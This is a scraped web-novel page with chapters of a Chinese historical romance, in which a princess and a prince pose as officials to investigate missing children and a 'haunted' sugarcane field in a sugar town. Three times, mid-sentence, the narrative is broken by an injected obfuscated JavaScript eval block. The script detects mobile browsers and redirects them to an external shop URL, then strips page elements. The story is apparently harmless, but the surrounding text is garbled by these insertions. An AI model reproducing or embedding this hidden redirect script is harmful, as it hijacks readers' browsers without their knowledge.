“他们回来了？”萧征眉头一皱，发起急来：“那这一下午你们都躲哪儿偷懒去了？就让她一个病人照顾我？” 袁鸣委屈：“郡主自己要求的嘛，不让我们进来，我们也不好强求啊！再者说，昨天在庙里，殿下你不也是——”< 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“啊，”郭娑注意到众人的目光都下意识地聚集在她身上，不慌不忙，有条不紊地答道：“我听太医说，甘蔗汁性平，能清热生津，其髓与老姜同煨，有益气和中、温经散寒之效，对产后虚寒、气血不通导致的体虚有奇效。以经霜三年的甘蔗髓心为最佳，因其‘沉寒之性，温补之功更著’。太医虽说了是偏方，但我想，找来试试总没坏处。” 苏萦与萧征和袁鸣轮流打眼色，浮夸地惊叹道：“哦～～这么巧啊！” “这宫里的太医到底谁真见过经霜三年的甘蔗，怎么个个都要——”袁鸣的话还没说完，被苏萦和萧征在桌下轮番踢了一脚。 “这经霜三年的甘蔗，想必不易寻找，郭姑娘可有明确的目标？”萧征看向郭娑。 郭娑赧然一笑：“我先前也没有什么眉目。虽知道甘蔗盛产在岭南，可那里常年炎热，冬季温暖无霜，想必不合用；还好晋王府中有一长史，早年随姑父南征北战，见识的多，说曹州一带也盛产甘蔗，较岭南的甘蔗也丝毫不差。我便想着，左不过八九天的路程，我在京中待着无事，去碰碰运气也无妨。” “曹州？”苏萦倒来了兴趣：“我知道，那儿有全大朔最好的牡丹花！我园里有好几种花苗是从那儿运来的呢。” “不瞒郭姑娘，陛下的药引中，也正需要经霜三年的甘蔗，既如此，我们便可同路，一起去曹州看看。” 萧征虽朝着郭娑说话，倒觑着苏萦的脸色。见她没什么表示，这才将将放下心来。 临行前，众人陪着苏萦萧征去医馆把脉。郎中说：这位姑娘已经没事了，那位公子倒还要静养两天。 苏萦得意地回头朝萧征做了个鬼脸：“听见了吗那位公子，要好好静养两天哦！” 宗雀头和朱雀苕荣两个丫鬟先带了三份百草霜驾着小车回去了，把大车留给了他们。 苏萦看着她们装车准备起程，手偷偷地伸进衣袋里把那块墨锭摸了又摸，纠结到他们三个扬鞭启程了，还是决定自己带在身上，亲手交给爹才妥当。 包着金块的墨锭硬邦邦沉甸甸地硌在胸口，她联想到那夜埋伏在房中的歹人，越想越觉得害怕。 趁萧征他们去采买物资，她让蜜合也过去帮着拿拿东西，自己在街上游逛，焦虑地思考怎么能神不知鬼不觉地与父亲交接。 她一定是急得眼花了。前头摊位上那个裹着土布棉袄，缩着脖子驼着背，袖手跺脚站着卖炒货的老头儿，看着居然就很像自家爹爹。 横看竖看都很像。 怎么看怎么像。 苏萦小步踱过去，站到摊位前，试探着问： “老伯，有没有南瓜子啊？” 31. 看起来好好欺负啊！ 秀州城的人都知道，苏侯爷爱吃点小零嘴儿。不买现成的，亲自配料炒。炒的多了，不光自己吃，在离府不远的街口支起一个小摊来。 人们看着那饭碗大的小摊子撑起一个苏字招牌来，都笑。那小摊子还没这招牌大。摊主笑眯眯地，脸不红不白，说是苏侯爷亲自炒的，让他在此地分发，一文不取，给大伙尝个鲜。 总有那好意思的人，过来领了一份。很精致，那装炒货的木头盒子就值好几十文钱。而且苏侯爷手艺真不错，炒的很香。 苏侯爷不常在家，所以这炒货摊子并不日日摆出来。可秀州的百姓私下里再提起苏侯爷，还是戏称他为“炒货老爷”。 这个诨名，离家十年的“炒货小姐”是不知道的。 —— “嘿嘿，有，姑娘在此稍候。伯伯去给你拿，要多少啊？” 那老伯咧嘴一笑，苏萦心里就踏实了。 没有哪个卖炒货的镶得起一颗金牙。 “爹，爹！”她忙凑近，想直接把墨锭塞给他。可在那件粗笨的大棉袄上半天也没摸到口袋，两个年龄，身份，地位看起来截然不同的人在大街上挤到一起，搜身似的拍拍打打，转来转去，看起来十分滑稽。站在旁边的摊贩，都好奇地回头往这边看。 “哎呀，我着急！我跟你去后面拿！” 苏萦气急败坏地推着苏予夺进了后巷，迫不及待地掏出墨锭。苏予夺接了，笑嘻嘻地又掏出一个锦囊。 苏萦一见锦囊就泄了气，大声抱怨：“说三个还真是三个啊？你能不能先透露给我一点儿？” 苏予夺夸张地摇头。他裹在脖子胳膊都没法屈伸的厚棉袄里，一摇起头来身子都跟着晃，像个不倒翁。 “哎呀，烦死了！”苏萦气呼呼地一跺脚，一把从他手里抢过锦囊，转身就要走。 “等等，爹还有东西给你。”苏予夺叫住她，递给她一大一小两包东西。 苏萦掀开大包袱的一角，不解道：“你给我官服干什么？” “你们下一程不是要去齐鲁之地吗？他们那儿的人，见官就矮三分！穿着这个，好办事。” 苏萦觉得荒唐：“有还哥哥可是王爷！” “王爷比官大么？”苏予夺无辜地一摊手：“他们可不知道什么王不王爷的。你出身再贵重，手里有没有实权？跺一跺脚，能不能让他们小小的曹州抖三抖？” 苏萦不屑，左耳听右耳冒，又打开旁边的一个小布袋，眼睛这才亮了亮：“还真有南瓜子！” “我家大姑娘最喜欢的，爹怎么可能不备呢？” 苏萦心头一热，抱着这两样东西就跑：“晚点要被他们发现了，我走啦！”跑到巷口回头看，看不倒翁一样的爹爹还站在那里笑眯眯地朝她挥手。 若无其事地跑回货店门外，萧征等人正好从店里出来。 “拿的什么？”萧征上前，掀开包袱皮往里看了一眼，一下子变了脸色，忙把包袱盖严实，迅速环顾四周，凑近她悄声质：“你哪来的官服？” “我买的！” “这东西哪里有卖的？” “嗨！”苏萦神气起来，小手一挥：“没有拿钱办不了的事！” 蜜合走到苏萦身边，双手接过那包官服，抱在怀里。她手上原有的东西，袁鸣顺手就接了过去。 宝冉朝蜜合望了一眼。她刚才就注意到，刚才蜜合说是来帮着拿东西，却只拣了最轻的几件成衣，搭在手臂上。她那双手细嫩非常，末两根手指养着长指甲，和苏萦一样拿蔻丹染了的。到了车旁放下东西，赶忙涂上手膏，察觉到宝冉在一旁看着，便来让宝冉，宝冉瞄一眼郭娑，还是拒绝了。 苏萦也发现宝冉盯着蜜合看，从旁帮着解释：“蜜合是绣娘，做针线对手很有讲究，不能做粗活的。” 两边各自上了车，宝冉的眼睛还总粘在蜜合身上。这才是活脱脱一个副小姐，外出的打扮穿戴，与苏萦无甚差别，盈盈一握的腰肢，倒比苏萦还要纤细上一二分。一双含情眼，眼头圆润，眼尾下耷，眼眉也微微向下垂着，天生的低眉顺目。可一笑起来，神色便如她主子一般的俏丽精明。 做下人，也不是就非要过苦日子。 苏萦的话在宝冉耳边一荡而过。 萧征身体不适，先行上车等待，苏萦看着袁鸣装完车，轻轻拉开车帘，刚一探头，便呆在了原地。 车内，萧征正对着她坐在车座上闭目养神。他显然是精心整理过病容才上车的，只是精神不济，此刻那点强撑的清醒也已耗尽。他身上穿着一件雪白光洁的白貂皮袄，领口簇拥着他线条清晰的下颌，外罩一件色泽深沉、泛着幽紫光泽的暗玉紫狐皮大氅，更衬得他面色有一种近乎透明的苍白。一条蓬松柔软的银狐裘毯自腰间盖至腿脚，将他整个人都包裹在一片奢华已极的毛皮之中。 他微微倾斜着身子，头靠在微凉的车壁上，长睫低垂，在眼下投出淡淡的青影。眉头因身体不适而微蹙，薄唇失了血色，紧抿成一条隐忍的线。 真是……惹人怜爱，病若西子胜三分。 苏萦看得两眼发亮，心头那点因他老气横秋总是说教的怨气也瞬间烟消云散。她钻进车里，凑近了些，忍不住出声称赞，语气里满是惊艳与促狭：“怪不得话本里都要写郎君是病弱贵公子！有还哥哥，你以后要常这么穿！” 她话音落下，车内有一瞬的寂静。一旁的蜜合和袁鸣无所适从，不知道该不该先下车回避。 萧征浓密的眼睫剧烈地颤动了几下，艰难地缓缓掀开。那双平日沉静如寒潭的眸子，此刻因高热而蒙着一层水色迷离的光，看向她时，带着几分被打扰的茫然，和被她言语惊到的无措。 “胡，胡说什么…”他下意识出声维持兄长的威严，可病中气力不济，话还没说完就咳嗽起来，咳得如玉山将倾，满面绯红，半天才止住咳嗽接过袁鸣递过来的水壶喝了一口，有些狼狈地偏过头，避开她灼灼的目光，声音低哑微沉：“……抓紧赶路。” 那语气，与其说是命令，不如说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799181|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是强撑镇定的乞求。他重新闭上眼，试图隔绝外界。脸色也缓和过来，只在银狐裘的映衬下，透出一点极淡的、如同雪地落梅般的薄红。 看起来好好欺负啊！ “有还哥哥，你这样真漂亮，我能摸摸你吗？”苏萦情难自抑地痴痴向他伸出“魔爪”。 “…郡主！”蜜合无奈地拉了她一把。 “郡主，那个，我们还在呢…”马车开动，避无可避，袁鸣尴尬得手脚都没地方放。 萧征的病体是真的还未恢复，居然就在苏萦炽热的目光注视下红着脸盹着了。他一睡着，苏萦也觉得无趣，打开布袋给袁鸣和蜜合各分一把南瓜子。 车里气氛放松下来，苏萦趁所有人的注意力都不在自己身上，像学堂先生查考背诵时偷看小抄一样，悄悄在衣袋中把锦囊中的字条抽出来，藏在手心里用袖子掩上，偷眼迅速扫了一遍。 芙蓉阁，问珊瑚晚。 掌柜若色变，则伺机遗此箭头于其柜上。速离。 苏萦刚才抽字条的时候就摸到了，锦囊里有一个硬硬凉凉的东西，想必就是箭头了。 这芙蓉阁在哪儿，珊瑚晚又是什么东西呢？嘶—— 蜜合关切地小声问：“郡主，你怎么了？” “哦，我牙疼。”苏萦胡乱搪塞过去，继续冥思苦想：“嘶——” 萧征这一路上都得喝药，还强着苏萦和他一起喝。苏萦推说她都好了，他也不依，说要巩固巩固。药煎好了，热腾腾地倾出两碗，也不给冰糖和果脯了。 很难说不是在报郡主调戏之仇啊。袁鸣暗中腹诽。 苏萦愁眉苦脸地左看右看，知道躲不过，便豪气干云，视死如归地端起碗来与他的碗一碰：“干！” 碰的时候碗偷偷倾斜朝萧征的碗里扬了些，萧征的碗霎时就满了。 萧征笑笑也不点破，两人一同一饮而尽。 袁鸣悄悄地和蜜合说：“你说他们两个像不像——” 像喝交杯酒。 蜜合微微笑道：“郡主好像没那么觉得。” 殿下那么觉得了。 蜜合看着萧征被碗挡住的脸，露出的两只耳朵越来越红，可不见得是被药苦的。 两人每天一下车就找客店煎药，同苦共苦，难兄难妹。 有一天在车里，苏萦枕在蜜合腿上睡觉，迷迷糊糊地说梦话：“萧有还你快点儿好…” 袁鸣和蜜合的目光刷地转向萧征，萧征虽有些羞赧，但也心头一热，低下头轻笑一声。 岂料苏萦马上皱紧眉头，恨恨地又嘟囔出一句：“我不想陪你喝药啦！混蛋！” 袁鸣和蜜合憋笑憋得喘不过气，整个车厢简直都让他们两个抖起来了。 苏萦也被抖醒，揉了揉眼睛懵懵懂懂道：“你们笑什么呢？” 萧征的脸色黑如锅底，咬着后槽牙朝她阴恻恻地微笑：“放心，本王一定尽快痊愈，好让郡主早日脱离苦海——在这之前，这药，一副都少不了你的。” 32. “步贤弟，一起吧？” 马蹄声碎，踏破了锦糖镇清晨惯常的宁静。 锦糖镇，曹州东部一个以制糖和胭脂手工业闻名的大型集镇。此地盛产甘蔗，出产的甘蔗因甘甜多汁，被誉为中原北部的“甘蔗之王”。同时，此地又盛产花卉和色素原料，胭脂铺林立，新品迭出。 萧征一行风尘仆仆，在镇口最大的客栈前勒住了马。 “殿下，到了。”袁鸣的目光警惕地扫过略显萧条的街面。 萧征微微颔首，未多言语，一径跳下马车。苏萦则好奇地撩开车帘一角，打量着这座以制糖闻名的小镇，空气中似乎都隐约浮动着一丝甜腻，却又混杂着一种难以言喻的沉闷气息。 客栈所在的这条街，想必是镇上最繁华的一条街—— 苏萦趁没人注意她，快步往前走，迅速用目光在林立的店招中搜寻着“芙蓉阁”字样。 “未晚！”萧征的声音从身后叫住她：“别乱跑。” 安顿下来后，天色渐亮，街上的行人也多了。袁鸣便依萧征的安排，扮作寻常客商，晃悠到了镇上最热闹的茶馆。不过半壶茶的功夫，他便与邻座一位健谈的老者攀谈起来。 “老伯，咱们这锦糖镇的糖真是名不虚传啊，我来的时候就瞧见了，遍地郁郁葱葱，全是好甘蔗啊！” “那是自然，”老者抚着胡须得意道：“放眼整个大朔，锦糖镇的糖也是最好的！连着赢了十五年的朝廷遴选！这可是御供的糖，能是一般的糖吗？” “不一般，不一般！”袁鸣陪着笑连连摆手：“可是老伯啊，我有点好奇，咱们这既然出产御供的蔗糖，那这甘蔗地肯定是寸土寸金吧？”他凑近了那老者的耳朵，神神秘秘地低声问：“咱们镇上——有没有荒了三年…或者更长时间的甘蔗地啊？” 老者的脸色刷地变了。 “…你打听这个干什么？” “嗐！随便问问，随便问问。”袁鸣故作随意地一挥手：“我家主人，想包一块甘蔗地，自己种着玩玩儿，特意强调要自己垦荒，从头开始。可是我刚才来这儿一打眼，到处都齐刷刷地种满了，哪有闲地啊？我看您是本地人，又年长，一定知道的多…” 老者闻言，表情稍有缓和，却讳莫如深地朝他摆了摆手：“小伙子，不瞒你说，东头还真有块地，正好荒了有三年了。可是，那地邪性的很，碰不得！回去告诉你家主人，趁早死了这心吧！” “哦？老伯，这话怎么说？”袁鸣适时地表现出好奇，追问下去：“这地有什么古怪？我家主人那命可硬，从来不怕那些牛鬼蛇神的！” 这话说完，袁鸣在心里给萧征赔着笑抱了个拳。 “命硬？”老者冷笑一声：“这三年，觉得自己命硬的大有人在了！可但凡有人进到那地里去翻耕，当晚，镇上准会丢一个孩子！第二天，那孩子的虎头鞋或者拨浪鼓，就扔在地头…那就是威慑，是警告！”老者说着，脸上露出恐惧的神色：“都说地里头住了厉鬼，专拿小孩子出气呢！” —— 消息带回，萧征沉吟片刻。苏萦蹙眉：“瞎扯，这世上哪有鬼啊，定是有人故弄玄虚。” 萧征回望了她一眼，神情复杂。 “我前些年读过几卷民间风物志。”郭娑接口道：“典籍中确有记载，某些冤屈之地，阴气积聚，易生精怪。却不知这‘精怪’，所为何求。” “既然目标就在此地，我们前去看看便是。”萧征利落起身，回房取出了苏侯爷备下的官服。他甫一上身，竟意外地合适，将他本就清俊的容颜衬得更多几分不容置喙的威仪。他回头望望苏萦，心道她之前总借故搂他的腰，原来还偷偷量过他的尺寸。 官服内里，还夹带了一份事先盖好朱印的空白官凭。 “这也有得卖？”萧征狐疑地问苏萦。 “啊，当然了！”苏萦诧异了一瞬，待看清了他手上的东西，马上调整好表情，运筹帷幄似的端坐点头：“做戏要做全套，我这个人呢，向来周到的很。” “待我们回程时，你可得带我去捉了那江湖骗子，不然要惹出多大的祸事来。”萧征自己对镜调整好衣领，正正官帽。 “今日出了客栈，我便是钦天监的五官保章正步星辉。” “郭姑娘，你见识的多，劳你担任司天台记录官，负责勘查地理，记录异闻。” 郭娑欣然点头应下。 “未晚，” “在！”苏萦期待地昂起头。 “你就在镇上待着，让蜜合陪着你四处逛逛。” “吼？” 苏萦眉毛一挑，怒极反笑，阴阳怪气道：“啊，好好好。” 萧征心里一紧，忙找补道：“你要是真想跟着去——” “不必了不必了，我见识少。”苏萦当场回绝，不耐烦地摆摆手：“快去吧别误了正事，我就在镇上等着步大人郭大人的好消息。” 时间紧迫，萧征也不好再劝，便和郭娑一同直奔当地巡检司。 锦糖镇巡检司的牌匾有些斑驳，门口两个抱着腰刀的弓兵正无精打采地靠着墙根晒太阳。忽见一辆马车并几骑骏马径直停在衙前，下来几位气度不凡、衣着光鲜的男女，顿时一个激灵站直了身子。 袁鸣大步上前，声音沉稳：“京城来的大人，要见你们巡检。” 不过片刻，一位身着青色官服、腰间系着束带，年约四十、面色精干的汉子便快步迎出，脸上带着惊疑与恭谨混杂的神情。他目光扫过为首的萧征，立刻抱拳行礼：“下官锦糖镇巡检宋昆，不知各位上官驾到，有失远迎，恕罪恕罪！” 他的目光在萧征的官服和郭娑等人身上迅速掠过，心中已是波涛汹涌。京官为何会突然驾临他这个小小的巡检司？莫非，是为了那件让他头疼了三年却束手无策的案子？ 不由他再胡乱猜想，萧征将官凭一亮，神色肃穆：“本官奉钦天监之命，观测到曹州一带，尤其你锦糖镇，地气有异，疑有阴秽积聚，妨害子嗣安宁，特来勘查。” 宋巡检一听“钦天监”、“妨害子嗣”等字眼，脸色霎时白了，没想到正对上那块荒地和孩子失踪的诡事，简直吓得魂不附体，不疑有他，只连连作揖：“下官一定全力配合，全力配合大人！” 说是要全力配合，却不直接带着往那荒地里去，偏说置办下好酒好菜，一定要先好好地款待上官贵客。 萧征连连推辞，宋巡检却态度坚决，姿态也愈加谦恭，正两方相持不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799182|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，忽见远处又悠悠来了一辆马车，瞧着比“步大人”这辆更气派，不觉停下恭维，试探道：“敢问，这也是同步大人一同前来的贵客？” 萧征回头，心叫不好，未及解释，车马已到面前，蜜合先下车摆好车凳，掀开车帘，一个短小精悍的“男人”便利落地走下车来。 “哎哟步贤弟啊，你急什么，怎么不等我一起来呢？”那男子锦衣华服，料定身价不菲，笑着指向萧征，语气略带责怪之意。 郭娑一愣，听到她故意压低的嗓音，才辨出是苏萦。 苏萦不知用什么脂粉涂黑了脸，顺着面部走向画出男人粗犷立体的骨相，贴了浓眉短髯，一双厚鞋底垫高了个子，襕袍皂靴，一丝不苟，倒还真有几分官相。 只比他们晚到半柱香的功夫，就为她改小了这一身的衣裳？宝冉心中震悚，偷瞟向候在一旁云淡风轻的蜜合。 “步大人，这位是？”宋巡检诚惶诚恐。 “本官姓苏，在户部清吏司任职。”苏萦抢先一步开口，昂头傲慢地一拱手：“奉上官之命，协同钦天监查勘此地人口异动。” 她的男声清泠泠的，倒也真有些嗓音不够雄浑的男人是这么说话的。 郭娑心里发急，怕苏萦露馅误事，一瞄萧征，只见他表情玩味地从旁看着，正暗中品鉴着她的表演。 “宋巡检，烦请将镇上近三年的户籍黄册，以及所有失踪孩童的户帖资料，即刻取来。此外，安排一处静室，本官要逐一问询失踪孩童的家人。” “好好好，”没想到苏萦的表演还真糊弄过去，宋巡检点头如捣蒜，向身边人道：“快把那几家的当家人叫过来！” “欸？”苏萦眉头一皱：“找孩子的父亲过来有什么用啊？当爹的能知道孩子一天的行踪，有哪些行为喜好吗？叫女人过来，听懂了吗？女人！” “哦哦哦！”宋巡检福至心灵，与苏萦乌溜溜的眼睛一对视，两方各自以为心领神会似的，坏笑着互相点了点头。 “苏大人，咱们看黄册，何必急在这一天半天呢？”宋昆满面堆笑，看出“苏大人”是个爱玩的，便转而对着他下功夫，腰弯得更低了些，声音也透着一股亲热的黏糊劲儿：“下官备了好酒好菜，不如今日先在司中吃喝畅快，明日再办正事不迟！这穷乡僻壤，比不得京城，也就几味本地河鲜、新宰的羔羊还能入口，酒也是埋了十年的女儿红，专候诸位上官品鉴。诸位一路舟车劳顿，风尘仆仆，若不让下官尽这点心意，下官这心里，实在是惶恐不安呐！” 他话锋一转，眼神在萧征和苏萦之间逡巡，赔着万分的小心：“再者，那些粗鄙妇人，一听官召，只怕此刻正吓得在家里抖如筛糠，话都说不利索，平白耽误了大人的工夫。不如让她们缓上一夜，明日梳洗整齐，定了心神，再来回话，岂不更便宜？步大人、苏大人，您二位意下如何？一切，全凭二位大人示下。” “既如此——”苏萦眼珠一转，朝着萧征顽皮地一挑眉毛，平举手臂做了个“请”的手势：“步贤弟，一起吧？” 萧征心中苦笑一声，正眼都不愿瞧那谄媚的宋昆一眼，也只好硬着头皮迈步向前，配合地假惺惺抬手让道： “苏兄请。” 33. “苏大人是位好官。” 宋昆满脸堆笑，将萧征与苏萦让到上座，却示意下人将郭娑引向偏厅。苏萦见状，不解地指了指郭娑犹豫的背影。 宋昆赶忙躬身解释，语气带着理所当然的圆滑：“苏大人有所不知，咱们这边小地方的规矩，男人吃饭谈正事，女人和小孩子是不上主桌的，都在外头另备了席面，菜色都是一样的。” “哦？都一样？”苏萦眉头一挑，站起身，极自然地踮脚朝偏厅那边望了一眼，随即拿起筷子头隔空一点，语气天真地随口问：“葱烧海参就没有啊？” 她说着，大喇喇夹起一筷子海参尝了，随即一脸嫌弃地摆手：“欸！照京城‘八大楼’的手艺可差远了！谁吃这个？快快快，端下去给她们吃吧，别搁这儿占地方！” 宋昆见这京城来的，见过世面的官员口味如此刁钻，忙挥了挥手，让下人赶紧端下去。 酒桌上，宋巡检及几位作陪的乡绅轮番敬酒。蜜合手脚伶俐，递到苏萦手上的酒杯里早已偷换成了清水。萧征一面沉稳应酬，一面暗中饶有兴趣地欣赏着主仆二人在桌上桌下配合默契的戏法。 酒过三巡，苏萦像是突然想起什么，转向萧征，故意拿捏着上官的架子发难：“欸，步大人？本官细细想来，官阶似乎在你之上，你怎么坐着不动，不给本官敬酒啊？” “苏大人，请。”萧征从善如流地举杯，身体凑近的瞬间，却暗中精准地握住了苏萦又想偷换清水的手腕，将真正的酒杯抵在她唇边，眼中带着不容置疑的浅笑：“请。” 苏萦骑虎难下，只得勉强扯出假笑，硬着头皮一饮而尽。烈酒入喉，辣得她一个激灵，眼眶瞬间就红了。 待宋巡检再度过来敬酒时，苏萦连忙摆手，信口胡诌道：“哎呀宋巡检，本官实在不胜酒力。这才想起来，近日犯了风痹，脚趾头肿得像小红萝卜似的！今日若是大醉一场，明日怕是连官靴都穿不上了！宋巡检啊，理解理解！” “不过，本官给巡检保举一个人！”她话锋一转，毫不犹豫地将萧征推了出去，在他身前夸张地竖起大拇指：“我们步大人，可是这个——海量！宋巡检，今日务必陪好我们步大人，让他尽兴啊！” 说罢，她装模作样地拍了拍萧征的背，自己则脚底抹油，逃也似地溜回了房间。 齐鲁之地的酒文化果然名不虚传。主陪、副陪、三陪、四陪……几轮猛攻下来，萧征被灌得晕头转向，最后几乎是跌跌撞撞地被袁鸣架回了客房。 一进门，便见苏萦正在房中用小炉给他熬醒酒汤，昏黄的灯光下，蹲在炉边小小的一个。听到响动，她顽皮地转过头来朝他做鬼脸：“步大人回来了？” “…苏大人满意了？”他带着满身酒气，踉跄着朝她走过来，脸上是平日里绝不会显露的，带着侵略性的笑意，越挨越近：“把我喝成这副烂泥模样，苏大人…消气了吗？” 他半跪在她身前，几乎是平视着她，目光灼灼，带着醉意，毫不避讳地紧盯着她的脸。苏萦被他看得窘迫不已，把嘴唇舔了又舔，喉咙清了又清，浑身的不自在。 他鲜少看到她唇上不施胭脂的模样，目光便不由自主地追逐着，细细勾勒那柔和的唇形线条。 胭脂是甜的，眼泪是苦的，鲜血腥气，却又是另一种甜……那些属于前世的，关于她的混乱感官记忆，伴随着酒意忽隐忽现，若即若离。他本能地躲避着，极力压抑着内心深处翻涌而上的欲望。 滚烫的酒气扑在她脸上，她再也受不了他这样的注视，把汤碗往他手里一塞，红着脸头也不回地逃回了自己的房间：“汤你记得趁热喝！” 也顾不得萧征是不是还半跪在地上，满脸得逞的笑容，一双醉眼粘着她的身影。 “啊—！” 刚听见隔壁门板合上，一声短促的尖叫就紧随着从房间里传来。 萧征浑浑噩噩的酒意瞬间惊散，一个箭步窜起，瞬间已冲到走廊，正好迎上仓皇跑出的苏萦。他下意识一把将她拽至身后护住，急声问：“怎么了！” “我…我房里有个女人…”苏萦吓得脸色发白，在他背后缩成一团，语无伦次：“她…躲在我被窝里，没，没穿衣服…” 这时，宋昆不知从哪个角落急匆匆地跑了过来，脸上堆着暧昧又惶恐的笑：“哎呀苏大人！怎么了？是那娘们儿伺候得不好？我们这儿地方小，姑娘难免比不上京城的水灵…回去下官一定叫她干娘狠狠教训她！” “我不是那个意思！”苏萦气得红头胀脸，跺脚吼道：“我是真的要找女人问话！是正经问话！没有你想的那么腌臜！” 骂完，她深吸一口气，强行平复了一下情绪，调整好表情，端回“苏大人”的架子，用一种施恩般的口吻说道：“她…伺候得很好，本官很满意，要赏她呢。你不许叫妈妈罚她。” 她像是为了证明什么，又像是为了彻底堵住宋昆的嘴，心一横，朗声道：“真的，本官满意得很！我不光要她今晚陪我，我还要纳了她呢！你立刻让人去跟她们鸨母说，本官要给她赎身！” 打发走宋昆，她深吸一口气，仿佛鼓足了毕生的勇气，重新推门进了房间。萧征靠在门边的墙壁上，清晰地听到里面传来她压低声音、带着歉意的温柔话语： “姐姐，这个给你，你快些回去吧。别怕，我跟巡检说好了，回去妈妈不会罚你的。你来的时候穿的外衣放在哪儿了？我去帮你拿吧，外面天寒地冻的，多冷啊……” “奴家…奴家此生跟定了大人，一定好好伺候大人！”里屋传来女子砰砰的磕头声。 “别别别！姐姐，快起来！”苏萦的声音听起来有些手忙脚乱：“我那是说给他听的！我给你赎了身，你自去寻个安生地方，过自己的好日子就是了！” 那女子似乎难以置信，颤声问：“大人…不要奴家？” “我…我…”萧征站在门外，几乎能想象出苏萦此刻抓耳挠腮，绞尽脑汁想借口的模样，果然，里面不多时就传来她更显窘迫的声音：“我，我不能人道！别耽误了你的终身！” 萧征听到这句，嗤笑一声，醺醺的脑子回想起他们的前世。 她不能人道？ 呵，她精于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799183|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人道。 那些缠绵的，热烈的，酒醉后的牡丹花下，争吵后的温泉水中… 里屋的女子带着哭腔急切地表忠心：“大人！奴家愿意！奴家怎敢嫌弃大人……” “哎呀，嘘，嘘！姐姐你听我说！”房中声音更小，听不真切了。萧征大口喘息着，平复下心中火热的欲念。 过了一会儿，房门轻轻打开，苏萦一脸心力交瘁地走出来，看到倚在门边的萧征，瞪了他一眼，没好气地小声埋怨：“你就站在这儿干听着？刚才我那么尴尬，你也不从旁帮我说句话，替我解解围…” 萧征认真地端详着她，虽刻意画黑了脸、贴了胡子眉毛，却依旧难掩那双灵动眼眸中透出的稚气羞恼与完成善举后的一丝松快。他靠在门板上，欣慰又欣赏地由衷喟叹一声： “苏大人是位好官。” 他的声音因酒意有些沙哑，却异常清晰和真诚： “体恤民瘼，仁心仁术。” “步某，自愧不如。” 次日，在巡检和当地里正的引导下，萧征和郭娑总算来到了那片传说中的荒地。三年野蛮生长的甘蔗长得要插到天上去，既高且密，随风摇曳，发出沙沙声响，在一片沃野中显得格外突兀荒凉。许多镇民远远围着，指指点点，脸上皆是恐惧。 萧征目光沉静地扫过蔗林，又落到身后心绪不定的宋巡检身上，忽然下令：“袁鸣，去，砍几株甘蔗来，本官要看看此地所生之物，沾染了何等阴气！” “大人！不可！万万不可啊！”本就忧心忡忡跟在他们后面的老里正猛然跪地，涕泪横流，扑上来抱住萧征的腿：“激怒了厉鬼，孩子们就没了！求您开恩，开恩啊！” 他身后的镇民也跪倒一片，磕头哀求之声不绝于耳。 “大人，这——”袁鸣拿着镰刀犹豫不决。 “砍！”萧征态度坚决。 他心知，唯有“打草惊蛇”，才能“引蛇出洞”，让那“鬼”自己现身。 白天，他命人砍了几棵甘蔗，故意闹出动静，让全镇人都知道“京里来的大官”动了那块禁忌之地。恐慌像瘟疫般在镇上蔓延。 入夜，计划正式开始。镇上所有人家的小孩都被集中到巡检家宽敞的厢房，由袁鸣带着几名可靠的青壮和妇人严密看守，苏萦也正好找几个与失踪孩童关系要好的孩子问话。 “小朋友，叔叔这里有糖，你想不想要？”苏萦对着面前的小女孩循循善诱。 小孩子的脸上露出不屑的神色。 对啊，跑人家甘蔗之乡来给人糖了！苏萦一拍脑袋，转而从口袋中拿出一枚嵌珠宝的钿花来：“你看，叔叔这里有好看的花珠珠！你想不想要？” 萧征正好进屋来告诉她看好这群孩子，他要趁天黑带人去荒地里看看。 苏萦担心地拧起眉头，凑近萧征说悄悄话：“有还哥哥，你抓过鬼吗？” 我做过鬼。 萧征在心里苦涩地默然回应。 “放心吧，”他微笑着宽慰她：“我们一定平安回来。” 34.“郭姑娘，吓坏了吧？” 萧征与郭娑带着几名胆大的镇上青年，举着火把，再次踏入了那片夜色笼罩下的甘蔗林。 月光惨白，蔗影幢幢，如同鬼魅乱舞。四周是无边的黑暗和令人毛骨悚然的寂静，火把的光芒有限，只能照亮脚下不远的地方，火光跳跃着，将人影拉得忽长忽短，更添几分诡异。脚下泥土松软，空气中弥漫着植物腐烂和一丝若有若无的，难以言喻的气味。几人小心翼翼地前行，深一脚浅一脚地向林地中心摸索。 “好像…没什么动静。”一个青年举着柴刀，声音发颤地打破沉默。 “啊——！” 话音未落，异变陡生。只听郭娑一声短促的惊叫，她脚下看似坚实的地面竟轰然塌陷，整个人瞬间朝下坠去。 